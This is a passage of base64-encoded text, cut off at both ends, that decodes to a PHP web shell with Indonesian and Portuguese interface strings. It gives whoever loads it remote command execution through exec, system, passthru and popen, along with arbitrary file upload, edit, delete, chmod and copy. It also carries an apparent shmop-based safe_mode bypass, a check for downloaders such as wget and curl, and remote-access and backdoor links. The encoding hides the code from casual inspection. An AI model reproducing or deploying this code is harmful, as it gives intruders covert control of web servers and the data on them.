N0aW9uIGNtZCgkQ01Ecykgew0KCQkkQ01EWzFdID0gJyc7DQoJCWV4ZWMoJENNRHMsICRDTURbMV0pOw0KCQlpZiAoZW1wdHkoJENNRFsxXSkpIHsNCgkJCSRDTURbMV0gPSBzaGVsbF9leGVjKCRDTURzKTsNCgkJfQ0KCQkJZWxzZWlmIChlbXB0eSgkQ01EWzFdKSkgew0KCQkJJENNRFsxXSA9IHBhc3N0aHJ1KCRDTURzKTsNCgkJfQ0KCQllbHNlaWYgKGVtcHR5KCRDTURbMV0pKSB7DQoJCQkkQ01EWzFdID0gc3lzdGVtKCRDTURzKTsNCgkJfQ0KCQllbHNlaWYgKGVtcHR5KCRDTURbMV0pKSB7DQoJCQkkaGFuZGxlID0gcG9wZW4oJENNRHMsICdyJyk7DQoJCQl3aGlsZSghZmVvZigkaGFuZGxlKSkgew0KCQkJCSRDTURbMV1bXSAuPSBmZ2V0cygkaGFuZGxlKTsNCgkJCX0NCgkJCXBjbG9zZSgkaGFuZGxlKTsNCgkJfQ0KCQlyZXR1cm4gJENNRFsxXTsNCgl9DQogDQppZiAoQCRfR0VUWydjaGRpciddKSB7DQogJGNoZGlyID0gJF9HRVRbJ2NoZGlyJ107IA0KfSBlbHNlIHsNCiAgICRjaGRpciA9IGdldGN3ZCgpLiIvIjsNCiAgfQ0KaWYgKEBjaGRpcigiJGNoZGlyIikpIHsNCiAkbXNnID0gIjxmb250IGNvbG9yPVwiIzAwODAwMFwiPiBEaXJlY3RvcnkgRG9vciwgT0shPC9mb250PiI7DQp9IGVsc2Ugew0KICRtc2cgPSAiPGZvbnQgY29sb3I9XCIjRkYwMDAwXCI+RXJyb3I6IENvdWxkIG5vdCBlbnRlciBmb2xkZXIhPC9mb250PiI7DQogJGNoZGlyID0gc3RyX3JlcGxhY2UoJFNDUklQVF9OQU1FLCAiIiwgJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ10pOw0KfQ0KICRjaGRpciA9IHN0cl9yZXBsYWNlKGNocig5MiksIGNocig0NyksICRjaGRpcik7DQoNCmlmIChAJF9HRVRbJ2FjdGlvbiddID09ICd1cGxvYWQnKSB7DQogJHVwbG9hZGRpciA9ICRjaGRpcjsNCiAkdXBsb2FkZmlsZSA9ICR1cGxvYWRkaXIuICRfRklMRVNbJ3VzZXJmaWxlJ11bJ25hbWUnXTsNCiBpZiAoQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyd1c2VyZmlsZSddWyd0bXBfbmFtZSddLCAkdXBsb2FkZGlyIC4gDQoNCiRfRklMRVNbJ3VzZXJmaWxlJ11bJ25hbWUnXSkpIHsNCiAgJG1zZyA9ICI8Zm9udCBjb2xvcj1cIiMwMDgwMDBcIj48Zm9udCANCg0KY29sb3I9XCIjMDAwMDgwXCI+eyRfRklMRVNbJ3VzZXJmaWxlJ11bJ25hbWUnXX08L2ZvbnQ+LCBhcmNoaWV2ZSB2YWxpZCwgdXBsb2FkaW5nIGNvbXBsZXRlLiANCg0KPC9mb250PiI7DQogfSBlbHNlIHsNCiAgICAkbXNnID0gIjxmb250IGNvbG9yPVwiI0ZGMDAwMFwiPkVycm9yOiBjb3VsZG50IHVwbG9hZCBmaWxlIG9uIHNlcnZlci48L2ZvbnQ+IjsNCiAgIH0NCn0NCmVsc2VpZiAoQCRfR0VUWydhY3Rpb24nXSA9PSAnbWtkaXInKSB7DQogICAgJG5ld2RpciA9ICRfR0VUWyduZXdkaXInXTsNCiAgICBpZiAoQG1rZGlyKCIkY2hkaXIiLiIkbmV3ZGlyIikpIHsNCiAgICAgJG1zZyA9ICI8Zm9udCBjb2xvcj1cIiMwMDgwMDBcIj48Zm9udCBjb2xvcj1cIiMwMDAwODBcIj57JG5ld2Rpcn08L2ZvbnQ+LCBmb2xkZXIgDQpDcmVhdGVkLiA8L2ZvbnQ+IjsNCiAgICB9IGVsc2Ugew0KICAgICAgICRtc2cgPSAiPGZvbnQgY29sb3I9XCIjRkYwMDAwXCI+RXJyb3I6IEZvbGRlciBNYWtlIEVycm9yLjwvZm9udD4iOw0KICAgICAgfQ0KfQ0KZWxzZWlmIChAJF9HRVRbJ2FjdGlvbiddID09ICduZXdmaWxlJykgew0KICAgICRuZXdmaWxlID0gJF9HRVRbJ25ld2ZpbGUnXTsNCiAgICBpZiAoQHRvdWNoKCIkY2hkaXIiLiIkbmV3ZmlsZSIpKSB7DQogICAgICRtc2cgPSAiPGZvbnQgY29sb3I9XCIjMDA4MDAwXCI+PGZvbnQgY29sb3I9XCIjMDAwMDgwXCI+eyRuZXdmaWxlfTwvZm9udD4sIGJlcmhhc2lsIA0KDQpkaWJ1YXQhIHllIGtlPyA8L2ZvbnQ+IjsNCiAgICB9IGVsc2Ugew0KICAgICAgICRtc2cgPSAiPGZvbnQgY29sb3I9XCIjRkYwMDAwXCI+RXJyb3I6IFBlbWJ1YXRhbiBhcnNpcCBnYWdhbCEgZW50YWg/PC9mb250PiI7DQogICAgICB9DQp9DQoNCmVsc2VpZiAoQCRfR0VUWydhY3Rpb24nXSA9PSAnZGVsJykgew0KICAgICAkZmlsZSA9ICRfR0VUWydmaWxlJ107ICR0eXBlID0gJF9HRVRbJ3R5cGUnXTsNCiAgICAgaWYgKCR0eXBlID09ICdmaWxlJykgew0KICAgICAgaWYgKEB1bmxpbmsoIiRjaGRpciIuIiRmaWxlIikpIHsNCiAgICAgICAkbXNnID0gIjxmb250IGNvbG9yPVwiIzAwODAwMFwiPjxmb250IGNvbG9yPVwiIzAwMDA4MFwiPnskZmlsZX08L2ZvbnQ+LCBCZXJoYXNpbCANCg0KbWVuZ2hhcHVzIGFyc2lwIChmaWxlKSE8L2ZvbnQ+IjsNCiAgICAgIH0gZWxzZSB7DQogICAgICAgICAkbXNnID0gIjxmb250IGNvbG9yPVwiI0ZGMDAwMFwiPkVycm9yOiBHYWdhbCBtZW5naGFwdXMgYXJzaXAgKGZpbGUpITwvZm9udD4iOw0KICAgICAgICB9DQogICAgIH0gZWxzZWlmICgkdHlwZSA9PSAnZGlyJykgew0KICAgICAgICBpZiAoQHJtZGlyKCIkY2hkaXIiLiIkZmlsZSIpKSB7DQogICAgICAgICAgJG1zZyA9ICI8Zm9udCBjb2xvcj1cIiMwMDgwMDBcIj48Zm9udCBjb2xvcj1cIiMwMDAwODBcIj57JGZpbGV9PC9mb250PiwgQmVyaGFzaWwgDQoNCm1lbmdoYXB1cyBmb2xkZXIhPC9mb250PiI7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICRtc2cgPSAiPGZvbnQgY29sb3I9XCIjRkYwMDAwXCI+RXJyb3I6IEdhZ2FsIG1lbmdoYXB1cyBmb2xkZXIhPC9mb250PiI7DQogICAgICAgICAgfQ0KICAgICAgIH0NCn0NCmVsc2VpZiAoQCRfR0VUWydhY3Rpb24nXSA9PSAnY2htb2QnKSB7DQogICAgICRmaWxlID0gJGNoZGlyLiRfR0VUWydmaWxlJ107ICRjaG1vZCA9ICRfR0VUWydjaG1vZCddOw0KICAgICBpZiAoQGNobW9kICgiJGZpbGUiLCAkY2htb2QpKSB7DQogIA0KICAgICAgJG1zZyA9ICI8Zm9udCBjb2xvcj1cIiMwMDgwMDBcIj5DaG1vZCBkYXJpPC9mb250PiA8Zm9udCANCg0KY29sb3I9XCIjMDAwMDgwXCI+eyRfR0VUWydmaWxlJ119PC9mb250PiA8Zm9udCBjb2xvcj1cIiMwMDgwMDBcIj5iZXJ1YmFoIG1lbmphZGk8L2ZvbnQ+IA0KDQo8Zm9udCBjb2xvcj1cIiMwMDAwODBcIj4kY2htb2Q8L2ZvbnQ+IDxmb250IGNvbG9yPVwiIzAwODAwMFwiPjogU3Vrc2VzITwvZm9udD4iOw0KICAgICB9IGVsc2Ugew0KICAgICAgICAkbXNnID0gJzxmb250IGNvbG9yPVwiI0ZGMDAwMFwiPkVycm9yOiBHYWdhbCBtZW5ndWJhaCBjaG1vZC48L2ZvbnQ+JzsNCiAgICAgICB9DQp9DQplbHNlaWYgKEAkX0dFVFsnYWN0aW9uJ10gPT0gJ3JlbmFtZScpIHsNCiAgICAgJGZpbGUgPSAkX0dFVFsnZmlsZSddOyAkbmV3bmFtZSA9ICRfR0VUWyduZXduYW1lJ107DQogICAgIGlmIChAcmVuYW1lKCIkY2hkaXIiLiIkZmlsZSIsICIkY2hkaXIiLiIkbmV3bmFtZSIpKSB7DQogICAgICAkbXNnID0gIjxmb250IGNvbG9yPVwiIzAwODAwMFwiPkFyY2hpdmU8L2ZvbnQ+IDxmb250IGNvbG9yPVwiIzAwMDA4MFwiPnskZmlsZX08L2ZvbnQ+IA0KDQo8Zm9udCBjb2xvcj1cIiMwMDgwMDBcIj5uYW1lZCBmb3I8L2ZvbnQ+IDxmb250IGNvbG9yPVwiIzAwMDA4MFwiPnskbmV3bmFtZX08L2ZvbnQ+IDxmb250IA0KDQpjb2xvcj1cIiMwMDgwMDBcIj5zdWNjZXNzZnVsbHkhPC9mb250PiI7DQogICAgIH0gZWxzZSB7DQogICAgICAgICRtc2cgPSAiPGZvbnQgY29sb3I9XCIjRkYwMDAwXCI+RXJyb3I6IEdhZ2FsIG1lbmNhbG9ua2FuIGFyc2lwLjwvZm9udD4iOw0KICAgICAgIH0NCn0NCmVsc2VpZiAoQCRfR0VUWydhY3Rpb24nXSA9PSAnY29weScpIHsNCiAgICAkZmlsZSA9ICRjaGRpci4kX0dFVFsnZmlsZSddOyAkY29weSA9ICRfR0VUWydmY29weSddOw0KICAgIGlmIChAY29weSgiJGZpbGUiLCAiJGNvcHkiKSkgew0KICAgICAkbXNnID0gIjxmb250IGNvbG9yPVwiIzAwMDA4MFwiPnskZmlsZX08L2ZvbnQ+LCA8Zm9udCBjb2xvcj1cIiMwMDgwMDBcIj5kaXNhbGluIA0KDQptZW5qYWRpPC9mb250PiA8Zm9udCBjb2xvcj1cIiMwMDAwODBcIj57JGNvcHl9PC9mb250PiA8Zm9udCBjb2xvcj1cIiMwMDgwMDBcIj4gDQoNCkJlcmhhc2lsITwvZm9udD4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgJG1zZyA9ICI8Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj5FcnJvcjogR2FnYWwgbWVueWFsaW4gPC9mb250PiA8Zm9udCANCg0KY29sb3I9XCIjMDAwMDAwXCI+eyRmaWxlfTwvZm9udD4gPGZvbnQgY29sb3I9XCIjRkYwMDAwXCI+bWVuamFkaTwvZm9udD4gPGZvbnQgDQoNCmNvbG9yPVwiIzAwMDAwMFwiPnskY29weX08L2ZvbnQ+PC9mb250PiI7DQogICAgICB9DQp9DQovKiBQYXJ0ZSBBdHVhbGl6YSAwMjo0OCAxMi8yLzIwMDYgKi8NCg0KZWxzZWlmIChAJF9HRVRbJ2FjdGlvbiddID09ICdjbWQnKSB7DQoJaWYgKCFlbXB0eSgkX0dFVFsnY21kJ10pKSB7ICRjbWQgPSBAJF9HRVRbJ2NtZCddOyB9DQoJaWYgKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSkgeyAkY21kID0gQCRfUE9TVFsnY21kJ107IH0NCgkkY21kID0gc3RyaXBzbGFzaGVzKHRyaW0oJGNtZCkpOw0KCSRyZXN1bHRfYXJyID0gY21kKCRjbWQpOw0KCQ0KCSRhZmltID0gY291bnQoJHJlc3VsdF9hcnIpOyAkYWNvbSA9IDA7ICRtc2cgPSAnJzsNCgkkbXNnIC49ICI8cCBzdHlsZT1cImNvbG9yOiAjMDAwMDAwO3RleHQtYWxpZ246IGNlbnRlcjtmb250LWZhbWlseTogJ0x1Y2lkYSANCg0KQ29uc29sZSc7Zm9udC1zaXplOiAxMnB4O21hcmdpbiAyXCI+SGFzaWwgOiA8Yj4iLiRjbWQuIjwvYj48L3A+IjsNCglpZiAoJHJlc3VsdF9hcnIpIHsNCgkJd2hpbGUgKCRhY29tIDw9ICRhZmltKSB7DQoJCQkkbXNnIC49ICI8cCBzdHlsZT1cImNvbG9yOiAjMDA4MDAwO3RleHQtYWxpZ246IGxlZnQ7Zm9udC1mYW1pbHk6IA0KDQonTHVjaWRhIENvbnNvbGUnO2ZvbnQtc2l6ZTogMTJweDttYXJnaW4gMlwiPiAiLkAkcmVzdWx0X2FyclskYWNvbV0uIjwvcD4iOw0KCQkkYWNvbSsrOw0KIAkJfQ0KCX0NCgllbHNlIHsNCgkJJG1zZyAuPSAiPHAgc3R5bGU9XCJjb2xvcjogI0ZGMDAwMDt0ZXh0LWFsaWduOiBjZW50ZXI7Zm9udC1mYW1pbHk6ICdMdWNpZGEgDQoNCkNvbnNvbGUnO2ZvbnQtc2l6ZTogMTJweDttYXJnaW4gMlwiPkVycm9yOiBHYWdhbCBtZW5nZWtzZWt1c2kgcGVyaW50YWguPC9wPiI7DQoJfQ0KfQ0KZWxzZWlmIChAJF9HRVRbJ2FjdGlvbiddID09ICdzYWZlbW9kZScpIHsNCmlmIChAIWV4dGVuc2lvbl9sb2FkZWQoJ3NobW9wJykpIHsNCiBlY2hvICJMb2FkaW5nLi4uIG1vZHVsZTwvYnI+IjsNCg0KICAgIGlmIChzdHJ0b3VwcGVyKHN1YnN0cihQSFBfT1MsIDAsMykgPT0gJ1dJTicpKSB7DQogICAgICAgIEBkbCgncGhwX3NobW9wLmRsbCcpOw0KICAgIH0gZWxzZSB7DQogICAgICAgIEBkbCgnc2htb3Auc28nKTsNCiAgICB9DQp9DQoNCmlmIChAZXh0ZW5zaW9uX2xvYWRlZCgnc2htb3AnKSkgew0KIGVjaG8gIk1vZHVsZTogPGI+c2htb3A8L2I+IGxvYWRlZCE8L2JyPiI7DQoNCiAkc2htX2lkID0gQHNobW9wX29wZW4oMHhmZjIsICJjIiwgMDY0NCwgMTAwKTsNCiBpZiAoISRzaG1faWQpIHsgZWNobyAiQ291bGRuJ3QgY3JlYXRlIHNoYXJlZCBtZW1vcnkgc2VnbWVudFxuIjsgfQ0KICRkYXRhPSJceDAwIjsNCiAkb2Zmc2V0PS0zODQyNjg1Ow0KICRzaG1fYnl0ZXNfd3JpdHRlbiA9IEBzaG1vcF93cml0ZSgkc2htX2lkLCAkZGF0YSwgJG9mZnNldCk7DQogaWYgKCRzaG1fYnl0ZXNfd3JpdHRlbiAhPSBzdHJsZW4oJGRhdGEpKSB7IGVjaG8gIkNvdWxkbid0IHdyaXRlIHRoZSBlbnRpcmUgbGVuZ3RoIG9mIA0KDQpkYXRhXG4iOyB9DQogaWYgKCFzaG1vcF9kZWxldGUoJHNobV9pZCkpIHsgZWNobyAiQ291bGRuJ3QgbWFyayBzaGFyZWQgbWVtb3J5IGJsb2NrIGZvciBkZWxldGlvbi4iOyB9DQogZWNobyBwYXNzdGhydSgiaWQiKTsgDQogc2htb3BfY2xvc2UoJHNobV9pZCk7DQoNCg0KfSBlbHNlIHsgZWNobyAiTW9kdWxlOiA8Yj5zaG1vcDwvYj4gdGlkYWsgZGltdWF0ITwvYnI+IjsgfQ0KfQ0KDQplbHNlaWYgKEAkX0dFVFsnYWN0aW9uJ10gPT0gJ3ppcGVuJykgew0KICRmaWxlID0gJF9HRVRbJ2ZpbGUnXTsNCiAkemlwID0gQHppcF9vcGVuKCIkY2hkaXIiLiIkZmlsZSIpOw0KICRtc2cgPSAnJzsNCmlmICgkemlwKSB7DQoNCiAgICB3aGlsZSAoJHppcF9lbnRyeSA9IHppcF9yZWFkKCR6aXApKSB7DQogICAgICAgICRtc2cgLj0gIk5hbWU6ICAgICAgICAgICAgICAgIiAuIHppcF9lbnRyeV9uYW1lKCR6aXBfZW50cnkpIC4gIlxuIjsNCiAgICAgICAgJG1zZyAuPSAiQWN0dWFsIEZpbGVzaXplOiAgICAiIC4gemlwX2VudHJ5X2ZpbGVzaXplKCR6aXBfZW50cnkpIC4gIlxuIjsNCiAgICAgICAgJG1zZyAuPSAiQ29tcHJlc3NlZCBTaXplOiAgICAiIC4gemlwX2VudHJ5X2NvbXByZXNzZWRzaXplKCR6aXBfZW50cnkpIC4gIlxuIjsNCiAgICAgICAgJG1zZyAuPSAiQ29tcHJlc3Npb24gTWV0aG9kOiAiIC4gemlwX2VudHJ5X2NvbXByZXNzaW9ubWV0aG9kKCR6aXBfZW50cnkpIC4gIlxuIjsNCg0KICAgICAgICBpZiAoemlwX2VudHJ5X29wZW4oJHppcCwgJHppcF9lbnRyeSwgInIiKSkgew0KICAgICAgICAgICAgZWNobyAiRmlsZSBDb250ZW50czpcbiI7DQogICAgICAgICAgICAkYnVmID0gemlwX2VudHJ5X3JlYWQoJHppcF9lbnRyeSwgemlwX2VudHJ5X2ZpbGVzaXplKCR6aXBfZW50cnkpKTsNCiAgICAgICAgICAgIGVjaG8gIiRidWZcbiI7DQoNCiAgICAgICAgICAgIHppcF9lbnRyeV9jbG9zZSgkemlwX2VudHJ5KTsNCiAgICAgICAgfQ0KICAgICAgICBlY2hvICJcbiI7DQoNCiAgICB9DQoNCiAgICB6aXBfY2xvc2UoJHppcCk7DQoNCn0NCn0NCmVsc2VpZiAoQCRfR0VUWydhY3Rpb24nXSA9PSAnZWRpdCcpIHsNCiAkZmlsZSA9ICRfR0VUWydmaWxlJ107DQogJGNvbnRldWRvID0gJyc7DQogJGZpbGVuYW1lID0gIiRjaGRpciIuIiRmaWxlIjsNCiAkY29udGV1ZG8gPSBAZmlsZV9nZXRfY29udGVudHMoJGZpbGVuYW1lKTsNCiAkY29udGV1ZG8gPSBodG1sc3BlY2lhbGNoYXJzKCRjb250ZXVkbyk7DQogJGJhY2sgPSAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107DQogZWNobyAiPHAgYWxpZ249XCJjZW50ZXJcIj5FZGl0aW5nIHskZmlsZX0gLi4uPC9wPiI7DQogZWNobyAiPHRhYmxlIGJvcmRlcj1cIjBcIiBjZWxscGFkZGluZz1cIjBcIiBjZWxsc3BhY2luZz1cIjBcIiBzdHlsZT1cImJvcmRlci1jb2xsYXBzZTogDQoNCmNvbGxhcHNlXCIgd2lkdGg9XCIxMDAlXCIgaWQ9XCJlZGl0YWNhb1wiPiI7DQogZWNobyAiPHRyPiI7DQogZWNobyAiPHRkIHdpZHRoPVwiMTAwJVwiPiI7DQogZWNobyAiPGZvcm0gbWV0aG9kPVwiUE9TVFwiIA0KDQphY3Rpb249XCJ7JGZzdHJpbmd9JmFtcDthY3Rpb249c2F2ZSZhbXA7Y2hkaXI9eyRjaGRpcn0mYW1wO2ZpbGU9eyRmaWxlfVwiPiI7DQogZWNobyAiPCEtLXdlYmJvdCBib3Q9XCJTYXZlUmVzdWx0c1wiIHUtZmlsZT1cIl9wcml2YXRlL2Zvcm1fcmVzdWx0cy5jc3ZcIiANCg0Kcy1mb3JtYXQ9XCJURVhUL0NTVlwiIHMtbGFiZWwtZmllbGRzPVwiVFJVRVwiIC0tPjxwIGFsaWduPVwiY2VudGVyXCI+IjsNCiBwcmludCAiPHRleHRhcmVhIHJvd3M9XCIxOFwiIG5hbWU9XCJTMVwiIGNvbHM9XCI4OVwiIHN0eWxlPVwiZm9udC1mYW1pbHk6IFZlcmRhbmE7IA0KDQpmb250LXNpemU6IDhwdDsgYm9yZGVyOiAxcHggc29saWQgIzAwMDAwMFwiPnskY29udGV1ZG99PC90ZXh0YXJlYT48L3A+IjsNCiBlY2hvICI8cCBhbGlnbj1cImNlbnRlclwiPiI7DQogZWNobyAiPGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIlNpbXBhblwiIG5hbWU9XCJCMlwiIHN0eWxlPVwiICBib3JkZXI6IDFweCBzb2xpZCANCg0KIzAwMDAwMFwiPiAiOw0KIGVjaG8gIjxpbnB1dCB0eXBlPVwiYnV0dG9uXCIgdmFsdWU9XCJUdXR1cFwiIA0KDQpPbmNsaWNrPVwiamF2YXNjcmlwdDp3aW5kb3cubG9jYXRpb249J3skZnN0cmluZ30mYW1wO2NoZGlyPXskY2hkaXJ9J1wiIG5hbWU9XCJCMVwiIHN0eWxlPVwiICANCg0KYm9yZGVyOiAxcHggc29saWQgIzAwMDAwMFwiPiAiOw0KIGVjaG8gIjwvZm9ybT4iOw0KIGVjaG8gIjwvdGQ+IjsNCiBlY2hvICI8L3RyPiI7DQogZWNobyAiPC90YWJsZT4iOw0KfQ0KZWxzZWlmIChAJF9HRVRbJ2FjdGlvbiddID09ICdzYXZlJykgew0KICAgJGZpbGVuYW1lID0gIiRjaGRpciIuJF9HRVRbJ2ZpbGUnXTsNCiAgICRzb21lY29udGVudCA9ICRfUE9TVFsnUzEnXTsNCiAgICRzb21lY29udGVudCA9IHN0cmlwc2xhc2hlcyh0cmltKCRzb21lY29udGVudCkpOw0KICAgaWYgKGlzX3dyaXRhYmxlKCRmaWxlbmFtZSkpIHsNCiAgICBAJGhhbmRsZSA9IGZvcGVuICgkZmlsZW5hbWUsICJ3Iik7DQogICAgQCRmdyA9IGZ3cml0ZSgkaGFuZGxlLCAkc29tZWNvbnRlbnQpOw0KICAgIEBmY2xvc2UoJGhhbmRsZSk7DQogICAgaWYgKCRoYW5kbGUgJiYgJGZ3KSB7DQogICAgICRtc2cgPSAiPGZvbnQgY29sb3I9XCIjMDAwMDgwXCI+eyRfR0VUWydmaWxlJ119PC9mb250PiwgPGZvbnQgDQoNCmNvbG9yPVwiIzAwODAwMFwiPmJlcmhhc2lsIGRpZWRpdCE8L2ZvbnQ+IjsNCiAgICB9DQogfSBlbHNlIHsNCiAgICAkbXNnID0gIjxmb250IGNvbG9yPVwiIzAwMDAwMFwiPnskX0dFVFsnZmlsZSddfSw8L2ZvbnQ+IDxmb250IGNvbG9yPVwiI0ZGMDAwMFwiPnRpZGFrIA0KDQpiaXNhIGRpdHVsaXNpITwvZm9udD4iOw0KICAgfQ0KfQ0KDQovLyBJbmZvcm1hJiMxOTU7P3MNCiAkY21kZ2V0ID0gJyc7DQogaWYgKCFlbXB0eSgkX0dFVFsnY21kJ10pKSB7ICRjbWRnZXQgPSBAJF9HRVRbJ2NtZCddOyB9DQogaWYgKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSkgeyAkY21kZ2V0ID0gQCRfUE9TVFsnY21kJ107IH0NCiAkY21kZ2V0ID0gaHRtbHNwZWNpYWxjaGFycygkY21kZ2V0KTsNCiBmdW5jdGlvbiBhc2RhZHMoKSB7DQogICRhc2RhZHMgPSAnJzsNCiAgaWYgKEBmaWxlX2V4aXN0cygiL3Vzci9iaW4vd2dldCIpKSB7ICRhc2RhZHMgLj0gIndnZXQgIjsgfQ0KICBpZiAoQGZpbGVfZXhpc3RzKCIvdXNyL2Jpbi9mZXRjaCIpKSB7ICRhc2RhZHMgLj0gImZldGNoICI7IH0NCiAgaWYgKEBmaWxlX2V4aXN0cygiL3Vzci9iaW4vY3VybCIpKSB7ICRhc2RhZHMgLj0gImN1cmwgIjsgfQ0KICBpZiAoQGZpbGVfZXhpc3RzKCIvdXNyL2Jpbi9HRVQiKSkgeyAkYXNkYWRzIC49ICJHRVQgIjsgfQ0KICBpZiAoQGZpbGVfZXhpc3RzKCIvdXNyL2Jpbi9seW54IikpIHsgJGFzZGFkcyAuPSAibHlueCAiOyB9DQogIHJldHVybiAkYXNkYWRzOw0KIH0NCg0KZWNobyAiPGZvcm0gbWV0aG9kPVwiUE9TVFwiIG5hbWU9XCJjbWRcIiANCg0KYWN0aW9uPVwieyRmc3RyaW5nfSZhbXA7YWN0aW9uPWNtZCZhbXA7Y2hkaXI9JGNoZGlyXCI+IjsNCmVjaG8gIjxmaWVsZHNldCBzdHlsZT1cImJvcmRlcjogMXB4IHNvbGlkICMwMDAwMDA7IHBhZGRpbmc6IDJcIj4iOw0KZWNobyAiPGxlZ2VuZD5JbmZvcm1hc2k8L2xlZ2VuZD4iOw0KZWNobyAiPGJyPjx0YWJsZSBib3JkZXI9XCIwXCIgY2VsbHBhZGRpbmc9XCIwXCIgY2VsbHNwYWNpbmc9XCIwXCIgc3R5bGU9XCJib3JkZXItY29sbGFwc2U6IA0KDQpjb2xsYXBzZTsgZm9udC1mYW1pbHk6IFZlcmRhbmE7IGZvbnQtc2l6ZTogMTBweFwiIHdpZHRoPVwiMTAwJVwiPiI7DQplY2hvICI8dHI+IjsNCmVjaG8gIjx0ZCB3aWR0aD1cIjglXCI+IjsNCmVjaG8gIiA8Yj5TaXN0ZW0gPC9iPiA8L3RkPiAiOw0KZWNobyAiPHRkIHdpZHRoPVwiOTIlXCI+OiB7JE9TfTwvdGQ+IjsNCmVjaG8gIjwvdHI+IjsNCmVjaG8gIjx0cj4iOw0KZWNobyAiPHRkIHdpZHRoPVwiOCVcIj4iOw0KZWNobyAiIDxiPk5hbWEgPC9iPjwvdGQ+ICI7DQplY2hvICI8dGQgd2lkdGg9XCI5MiVcIj46IHskVU5BTUV9PC90ZD4iOw0KZWNobyAiPC90cj4iOw0KZWNobyAiPHRyPiI7DQplY2hvICI8dGQgd2lkdGg9XCI4JVwiPiI7DQplY2hvICIgPGI+UEhQIDwvYj48L3RkPiAiOw0KZWNobyAiPHRkIHdpZHRoPVwiOTIlXCI+OiB7JFBIUHZ9LCA8Yj4gU2FmZSBNb2RlIDo8L2I+IHskU2FmZU1vZGV9PC90ZD4iOw0KZWNobyAiPC90cj4iOw0KIGlmIChzdHJ0b3VwcGVyKHN1YnN0cigkT1MsIDAsMykgIT0gJ1dJTicpKSB7DQogICRNZXRob2RzID0gYXNkYWRzKCk7DQogIGlmICgkTWV0aG9kcyA9PSAnJykgeyAkTWV0aG9kcyA9ICI/Pz8iOyB9DQogIGVjaG8gIjx0cj4iOw0KICBlY2hvICI8dGQgd2lkdGg9XCI4JVwiPiI7DQogIGVjaG8gIjxiPk1ldGhvZHMgPC9iPjwvdGQ+ICI7DQogIGVjaG8gIjx0ZCB3aWR0aD1cIjkyJVwiPjogeyRNZXRob2RzfTwvdGQ+IjsNCiAgZWNobyAiPC90cj4iOw0KIH0NCg0KZWNobyAiPHRyPiI7DQplY2hvICI8dGQgd2lkdGg9XCI4JVwiPiI7DQplY2hvICIgPGI+SVAgPC9iPjwvdGQ+ICI7DQplY2hvICI8dGQgd2lkdGg9XCI5MiVcIj46IHskSXBTZXJ2ZXJ9PC90ZD4iOw0KZWNobyAiPC90cj4iOw0KZWNobyAiPHRyPiI7DQplY2hvICI8dGQgd2lkdGg9XCI4JVwiPiI7DQplY2hvICIgPGI+UGVyaW50YWggPC9iPjwvdGQ+ICI7DQplY2hvICI8dGQgd2lkdGg9XCI5MiVcIj46IDxpbnB1dCB0eXBlPVwidGV4dFwiIHNpemU9XCI3MFwiIG5hbWU9XCJjbWRcIiB2YWx1ZT1cInskY21kZ2V0fVwiIA0KDQpzdHlsZT1cIiBmb250LXNpemU6IDggcHQ7IGJvcmRlcjogMXB4IHNvbGlkICMwMDAwMDBcIj4gPGlucHV0IHR5cGU9XCJzdWJtaXRcIiANCg0KbmFtZT1cImFjdGlvblwiIHZhbHVlPVwiS2lyaW1cIiBzdHlsZT1cIiBmb250LXNpemU6IDggcHQ7IGJvcmRlcjogMXB4IHNvbGlkIA0KDQojMDAwMDAwXCI+PC90ZD4iOw0KZWNobyAiPC90cj4iOw0KZWNobyAiPC90YWJsZT48YnI+IjsNCmVjaG8gIjwvZmllbGRzZXQ+PC9mb3JtPiI7DQovLyBEaXINCg0KZWNobyAiPGZvcm0gbWV0aG9kPVwiUE9TVFwiIGFjdGlvbj1cInskZnN0cmluZ30mYW1wO2FjdGlvbj11cGxvYWQmYW1wO2NoZGlyPSRjaGRpclwiIA0KDQplbmN0eXBlPVwibXVsdGlwYXJ0L2Zvcm0tZGF0YVwiPiI7DQplY2hvICI8IS0td2ViYm90IGJvdD1cIkZpbGVVcGxvYWRcIiB1LWZpbGU9XCJfcHJpdmF0ZS9mb3JtX3Jlc3VsdHMuY3N2XCIgDQoNCnMtZm9ybWF0PVwiVEVYVC9DU1ZcIiBzLWxhYmVsLWZpZWxkcz1cIlRSVUVcIiAtLT48ZmllbGRzZXQgc3R5bGU9XCJib3JkZXI6IDFweCBzb2xpZCANCg0KIzAwMDAwMDsgcGFkZGluZzogMlwiPiI7DQppZiAoaXNfd3JpdGFibGUoIiRjaGRpciIpKSB7DQogaWYgKHN0cnRvdXBwZXIoc3Vic3RyKCRPUywgMCwzKSA9PSAnV0lOJykpIHsNCiAgZWNobyAiPGxlZ2VuZD5EaXIgPGI+WUVTPC9iPjogeyRjaGRpcn0gLSA8YSBocmVmPVwiI1tOZXcgRGlyXVwiIA0KDQpvbmNsaWNrPVwiTWtkaXIoJ3skY2hkaXJ9Jyk7XCI+Rm9sZGVyIEJhcnU8L2E+IHwgPGEgaHJlZj1cIiNbTmV3IEZpbGVdXCIgDQoNCm9uY2xpY2s9XCJOZXdmaWxlKCd7JGNoZGlyfScpXCI+RmlsZSBCYXJ1PC9hPiB8IDxhIA0KDQpocmVmPVwieyRmc3RyaW5nfSZhbXA7YWN0aW9uPWNtZCZhbXA7Y2hkaXI9eyRjaGRpcn0mYW1wO2NtZD0kbmV3dXNlclwiPlJlbW90ZSANCg0KQWNjZXNzPC9hPjwvbGVnZW5kPiI7DQogfSBlbHNlIHsNCiAgICBlY2hvICI8bGVnZW5kPkRpciA8Yj5ZRVM8L2I+OiB7JGNoZGlyfSAtIDxhIGhyZWY9XCIjW05ldyBEaXJdXCIgDQoNCm9uY2xpY2s9XCJNa2RpcigneyRjaGRpcn0nKTtcIj5Gb2xkZXIgQmFydTwvYT4gfCA8YSBocmVmPVwiI1tOZXcgRmlsZV1cIiANCg0Kb25jbGljaz1cIk5ld2ZpbGUoJ3skY2hkaXJ9JylcIj5GaWxlIEJhcnU8L2E+IHwgPGEgDQoNCmhyZWY9XCJ7JGZzdHJpbmd9JmFtcDthY3Rpb249YmFja3Rvb2wmYW1wO2NoZGlyPXskY2hkaX